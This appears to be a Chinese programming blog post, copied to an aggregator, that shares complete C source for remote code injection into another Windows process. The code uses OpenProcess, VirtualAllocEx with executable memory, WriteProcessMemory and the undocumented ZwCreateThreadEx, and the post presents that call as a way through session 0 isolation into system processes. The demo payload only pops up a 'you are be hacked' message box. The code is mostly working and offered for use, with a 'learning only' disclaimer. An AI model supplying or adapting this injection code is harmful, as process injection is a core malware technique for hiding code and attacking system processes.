您的位置:首页 > 编程语言

关于“代码远程线程注入”的核心代码分享

2018-12-20 13:53 78 查看

前言:
        “代码远程线程注入”是实现将本进程的一段二进制代码注入到另一个远程进程中,在被注入进程中运行指定代码的技术。“代码远程线程注入”的核心代码非常简炼且逻辑惊艳,不管是对c语言的语法还是对编译器编译顺序的了解都有很大帮助,因为从该代码中就可以大致猜测出编译器的部分编译规则和PE文件数据的放置格式,其中关于c代码的巧妙应用也值得借鉴。
        本文章的目的重在分享代码,而不是分享总结,因为作者并没有系统学习过PE文件格式、编译器原理和系统安全等相关知识,自学的一点奇技淫巧纯粹用于平日消遣,有限的知识量并不允许我在文章中分享更为专业和有价值的总结,否则有误人子弟之嫌。如果出现描述错误欢迎指正。
        以下分享的程序代码参考自文章https://www.cnblogs.com/freesec/p/6554518.html并在修复了该文章部分代码错误的基础上做了一点改进,主要改进是调用了ntdll文件中微软公司留下的后门函数ZwCreateThreadEx,该函数用于替代CreateRemoteThread,她的优点是更接近底层,可以穿透session0隔离将代码注入到系统进程中。但是由于session0隔离,系统进程和用户进程不会直接通过窗口进行交互,可能无法使用弹出对话框的方式来验证注入系统进程是否成功。
*注:本代码仅供学习交流,如果将本代码用于非法途径,后果自负。(2018.12.20)

头文件以及参数声明:

#include <stdio.h>
#include<Windows.h>

//声明需要用到的函数
typedef HMODULE(WINAPI *lpLoadLibraryA)(char* filename);
typedef FARPROC(WINAPI *lpGetProcAddress)(HMODULE hModule, char* funcName);
typedef int(WINAPI *lpMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef struct _thread_param
{
lpLoadLibraryA loadFunc;
lpGetProcAddress GetPFunc;
char data[4][100]; //保存所有参数
}thread_param;

注入函数以及主函数:

//该函数在编译为二进制代码后用于注入远程进程
//由于CreateRemoteThread只能传一个形参,所以该函数也只能使用一个形参
DWORD WINAPI threadProc(LPVOID param)
{
thread_param* tparam = (thread_param*)param;
//loadFunc即为LoadLibrary函数的地址,可以从dll中获取其他函数的地址,依此类推,足以构造功能强大的函数
HMODULE hd = tparam->loadFunc(tparam->data[0]); //data的第一个item是user32.dll
//取出MessageBoxA函数
lpMessageBoxA msg = (lpMessageBoxA)tparam->GetPFunc(hd, tparam->data[1]);//data的第2个参数是MessageBoxA
msg(0, tparam->data[2], tparam->data[3], 0);//data后2个参数是messagebox的参数
return 0;
}
void WINAPI end_threadProc() {}//用于标记函数的结束地址

BOOL codeInject(DWORD pid)
{
SIZE_T written;
HANDLE hThread;
//打开线程,获取远程线程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (hProcess == 0 || hProcess == INVALID_HANDLE_VALUE)
{
return FALSE;
}
//初始化注入用的参数数据,包括LoadLibrary和GetProcAddress这两个最主要的函数地址
//参数值需要放于另外开辟的空间中
thread_param param = { 0 };
param.loadFunc = (lpLoadLibraryA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
param.GetPFunc = (lpGetProcAddress)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetProcAddress");
memcpy(&param.data[0], "user32.dll", 11);
memcpy(&param.data[1], "MessageBoxA", 12);
memcpy(&param.data[2], "you are be hacked", 18);
memcpy(&param.data[3], "inject", 7);
//计算线程函数的二进制代码大小,这两个函数必须在相邻的位置定义,且前后顺序不能对调!
DWORD codesize = (DWORD)end_threadProc - (DWORD)threadProc;

//分配空间,将参数数据注入进程
LPVOID database = ::VirtualAllocEx(hProcess, 0, sizeof(thread_param), MEM_COMMIT, PAGE_READWRITE);
if (database == 0)
{
CloseHandle(hProcess);
return FALSE;
}
::WriteProcessMemory(hProcess, database, &param, sizeof(thread_param), &written);
//分配空间,将执行代码注入进程
LPVOID codebase = ::VirtualAllocEx(hProcess, 0, codesize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (codebase == 0)
{
::VirtualFreeEx(hProcess, database, sizeof(thread_param), MEM_FREE);
CloseHandle(hProcess);
return FALSE;
}
::WriteProcessMemory(hProcess, codebase, threadProc, codesize, &written);

// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
return FALSE;
}
// 导出ZwCreateThread函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
::FreeLibrary(hNtdllDll);
return FALSE;
}
// 激活代码,使用 ZwCreateThreadEx 创建远线程, 穿透session0隔离
ZwCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)codebase, database, 0, 0, 0, 0, NULL);

//释放空间
::VirtualFreeEx(hProcess, database, sizeof(thread_param), MEM_FREE);
::VirtualFreeEx(hProcess, codebase, codesize, MEM_FREE);
CloseHandle(hProcess);
if (NULL != hThread)
{
CloseHandle(hThread);
return TRUE;
}
return FALSE;
}

int main()
{
//编译时需要注意被注入的进程是64位还是32位,否则被注入进程可能会出现崩溃
codeInject(13064);
//system("pause>NUL");
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: